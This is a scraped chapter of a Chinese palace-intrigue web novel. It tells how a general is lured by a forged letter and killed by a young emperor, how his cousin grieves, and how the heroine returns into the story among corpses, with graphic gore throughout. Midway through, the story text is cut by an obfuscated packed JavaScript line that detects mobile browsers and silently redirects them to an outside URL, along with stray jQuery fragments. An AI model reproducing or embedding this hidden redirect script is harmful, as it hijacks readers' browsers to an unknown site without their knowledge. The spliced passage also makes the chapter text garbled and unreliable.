默认冷灰
24号文字
方正启体

53. 「断臂之痛」

作者:桥觅本书字数:K更新时间:
    是夜。


    暮色如血,宫墙如铁。


    阎泱勒马停在偏殿外,手指无意识地摩挲着剑柄。


    晚些时候,曾有人给他送来一封密信,那信纸上说,崔瓷公主并未背叛帝师,要他独自前来赴约,公主自会与他说个清楚。


    这本该是个拙劣的陷阱,可那信笺上印着公主脂粉淡淡的茉莉香,是她惯用的气味。


    他想着堂兄被此事折磨的日日夜夜,怎么都无法忽略这信件。


    于是,他还是来了。


    “将军...”


    随行的亲兵不安地环顾四周。


    “公主怎么会约您到清心殿议事呢…”


    他抬手示意噤声。


    “退下。”


    阎泱解下佩剑扔给亲兵,低声道:


    “若三刻钟后我未出,立刻禀报千岁。”


    殿门在身后缓缓闭合的声响,像刀刃刮过骨头那般刺耳。


    抬眸的刹那,阎泱的瞳孔骤然收缩。


    正殿中央空空如也,只有一尊先帝崔仲明的画像高悬梁上,画像前的香炉里,三柱线香燃得正旺。


    “阎将军果然重情重义。”


    崔宥的声音从帷幔后幽幽传来,十六岁的少年帝王一身素服而来,每一步都踩在他的心跳上。


    “公主在哪?“


    阎泱的手已按上腰间暗器。


    崔宥笑了,那笑容让阎泱想起毒蛇吐信。他不紧不慢地站在高阶上睥睨着他。


    “阎将军可知晓,当年我父皇杀阎垣时,用的是什么由头?”


    殿门轰然落锁。


    那声音,宛如惊雷炸响。


    几乎是一眨眼的时间,近百名玄甲死士从四面八方涌出,刀光映着香炉里升腾的烟雾,将先帝画像割裂成碎片。


    十一年前的一幕,在这一刻重现。


    阎泱双手抽出长剑,百余人顷刻间齐齐杀了上来。当他的剑峰划开第一个死士的喉咙时,温热的鲜血溅在崔仲明的画像之上。


    十一年前,就在这座偏殿,崔仲明以“谋反”为名,设计了一出图穷匕见的好戏,百余人四面出动,围杀了无力抵抗的阎垣。


    十一年后,他的儿子用同样的罪名围杀阎泱,试图剿灭他在这个世上最后一个亲人。


    “崔宥!”


    阎泱一个旋身,利落斩落三把长刀,可眼前却已有些模糊。他的背上已中了两刀,纵使鲜血流淌,他亦厉声质问:


    “你可知动我的后果?”


    少年天子站在龙椅旁把玩着一支上好的狼毫笔,眼底的猩红浓得快要溢出。


    “朕杀不得阎涣,还杀不得你吗?”


    凝聚成尖的笔锋突然指向大殿一角,崔宥故作惊讶道:


    “那是谁?!”


    阎泱下意识转头,一柄长枪当即贯穿他的肩膀。剧痛中,他看清那不过是具穿着公主衣裙的草人。


    可这瞬间的分神已足够致命。


    四把长剑同时砍入他的后背,鲜血喷溅在莲纹地砖上,与十一年前阎垣吐出的那口残血重叠在同一个位置。


    恍惚间,他竟能体会当时叔父的绝望与哀怨。


    他不想死。


    并非是惧怕,只是若他也死了,堂兄在这世上,就真的孤身一人了。


    “堂兄…”


    阎泱的视野开始模糊。


    他想起去年恒州大雪夜,阎涣高烧不退时,他在屋外听见公主的占卜之语,说堂兄寿数不永,会短折而死。


    当时他躲在门后,暗暗发誓,他愿意陪伴堂兄活得长长久久,也愿意为堂兄去死。


    长剑脱手前,阎泱拼尽最后的力气将削铁如泥的剑身掷向崔宥。


    只可惜,暗卫眼疾手快,披落了他最后的挣扎。两把长剑在空中相撞,迸出的火星刹那间照亮了少年帝王惊惶的脸。


    可惜,没能杀了这昏君。


    阎泱颓然。


    是我无用,护不住公主,也杀不了崔宥。


    子时的更鼓响过三巡,千岁侯府的大门被粗暴地撞开。


    此时,阎涣正埋头批阅军报,墨笔在“怀朔部异动”处悬停许久,直到庭院里传来重物落地的闷响,接着,是亲兵叫喊得几乎变了调的惊呼:


    “千岁!”


    “是...是阎泱将军!”


    青石板上拖出的血痕蜿蜒如蛇,那顶明黄轿辇与当年送还阎垣尸身的轿子一模一样。


    轿帘掀开的瞬间,阎涣膝盖一软,无法控制地重重跪在石阶上。


    轿中的阎泱几乎不成人形,玄甲破碎处,甚至能看见露出的森森白骨。


    最致命的那刀自左肩劈到右腹,几乎要将他斜劈成两半。


    阎泱的嘴唇蠕动着,血沫不断从嘴角涌出。


    他向前探身,似乎想要起身,却只是从轿内扑了出来,跌在阎涣的怀中。还记得他上次出征归来时,还笑着说自己从西域淘了坛好酒,等空了要与千岁共饮。


    “太医…”


    “太医!传太...”


    阎涣大声嘶吼着,怀中人却突然抓住他的手腕,力道大得惊人。


    “没用了…”


    “堂兄。”


    阎涣一愣,躺在他怀中的阎泱却忽而笑了。


    “自你步入官场…许多年...没这样唤你了...”


    这个称呼让阎涣浑身一震。


    他还记得十年前那个雪夜,阎泱的父亲战死、母亲病故,他孤身一人,绝望的心境与曾经的自己何其相似。他在仇家即将杀死阎泱前,从刀口下救了堂弟一命,自此,他二人便是彼此世上唯一的亲人,相依为命,从未分离。


    “公主…不会...背叛...”


    阎泱的声音断断续续,挣扎着,却说不出一句完整的话。


    “堂兄…”


    “堂兄…”


    他喃喃着,似乎要将十数年来落下的每一句“堂兄”尽数补回来。


    最后的字化作血沫溢出唇角,阎涣感到掌心里的手腕突然垂落,轻得像一片凋零的流苏花瓣。


    他下意识去探颈脉,却摸到阎泱怀里揣着的硬物。


    是块染血的饴糖。


    用油纸包得仔细,是阎涣曾最爱吃的那家铺子里的。


    他把糖块放进口中,眼泪混着咬破了唇的血腥气,半点尝不出甜。


    “阿泱。”


    “我的弟弟。”


    “睡吧。”


    天下间他最珍爱之人,如今一个都不剩了。


    寅时的梆子响了第四遍,亲兵才敢靠近书房。


    阎涣已经枯坐两个时辰,怀中仍固执的抱着弟弟的尸身。血浸透了他墨色的蟒袍,桌上摊着从堂弟铠甲夹层找出的密信,是崔宥模仿崔瓷的笔迹所写。


    “千岁…”</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15918012|172205||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    亲兵捧着染血的战甲,十数人一并跪地。


    “我等在阎将军的房内,找到了这个...”


    带着厚茧的掌心摊开,里面躺着一张泛黄的小笺,上面是阎泱工整的字迹:


    黄天在上,阎泱愿以命相抵,换堂兄长命百岁。


    阎涣突然想起去年冬夜,他高烧昏迷时隐约听见的低哑啜泣。原来不是梦,是阎泱正跪在屋外对苍天许愿的声音。


    “备轿。”


    阎涣轻轻擦去堂弟脸上的血污。


    “去清心殿。”


    亲兵惊恐抬头,颤巍巍提醒着:


    “现在宫门早已下钥,若是硬闯...”


    阎涣抱起堂弟的尸身,一滴热泪砸在堂弟紧闭的眼睑上。


    “备、轿。”


    拂晓的第一缕光照进庭院,乌木门被拉开,众人惊恐看见千岁侯抱着一具血淋淋的尸首走出侯府书房的大门。他的每一步都在青石板上留下深红的脚印,蟒袍下摆拖着一道血痕,像条斩不断宿命的锁链。


    心猛地抽痛一刹那。


    阎涣不知晓,就在阎泱收到密信的当夜,书外的世界里,崔姣姣绞尽脑汁,试了最后一个方法。


    血,滴落在青白玉匕首上,蜿蜒如蛇,渗入玉纹。


    崔姣姣跪坐在卧室里,双手紧握匕首,掌心被锋刃割得血肉模糊。她死死盯着刀刃上渐渐泛起的光晕,心跳如雷。


    找到了。


    她终于找到了回去的方法。


    “将离…”


    她闭上眼,泪水滚落在掌心。


    “等着我。”


    天旋地转包裹着她,黑暗吞噬了她的一切。


    一阵腐臭味充斥进她的鼻腔。


    崔姣姣猛地睁开眼,入目是漆黑的夜空。没有月亮,只有几颗惨淡的星辰隐隐发亮。她下意识想撑起身子,手指却陷入一团黏腻湿冷的触感里。


    “啊——!”


    她尖叫着缩回手,借着微弱的星光看清了周围的事物。


    是尸体。


    堆积如山的尸体。


    断肢、白骨、腐烂的躯干和脏器,此刻横七竖八地堆叠在她身旁,有的已经风干成骷髅,有的却还淌着脓血。


    蛆虫在那些人空洞的眼眶里蠕动,夜风呜咽,像无数亡魂在哭嚎。


    崔姣姣浑身开始发抖,眼泪瞬间决堤。


    她拼命往后缩,后背却撞上一具半腐的女尸,那张青紫的脸正对着她,嘴唇已经烂没了,露出森白的牙齿,仿佛在笑。


    “不…”


    她捂住嘴,喉咙里挤出破碎的呜咽,眼泪和冷汗混在一起,浸湿了衣襟。


    她从未见过这样的场景。


    这里是乱葬岗。


    看来,自己离开书中后,“崔瓷”被扔在了死人堆里。


    恐惧如潮水般淹没理智,她死死闭上眼睛,不敢再看,可腐臭的气味却无孔不入,钻进她的鼻腔、喉咙,甚至肺里。


    她无法控制地干呕起来,却因为太久未进食,只能吐出酸水。


    “冷静...”


    “崔姣姣,你必须冷静。”


    她颤抖着对自己低声安慰着,指甲深深掐进掌心,试图用疼痛让自己清醒。


    可当她再次睁眼,却不偏不倚,正对上一具孩童的尸体。那孩子不过五六岁,睁着空洞的眼睛,小小的身体已经发黑。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)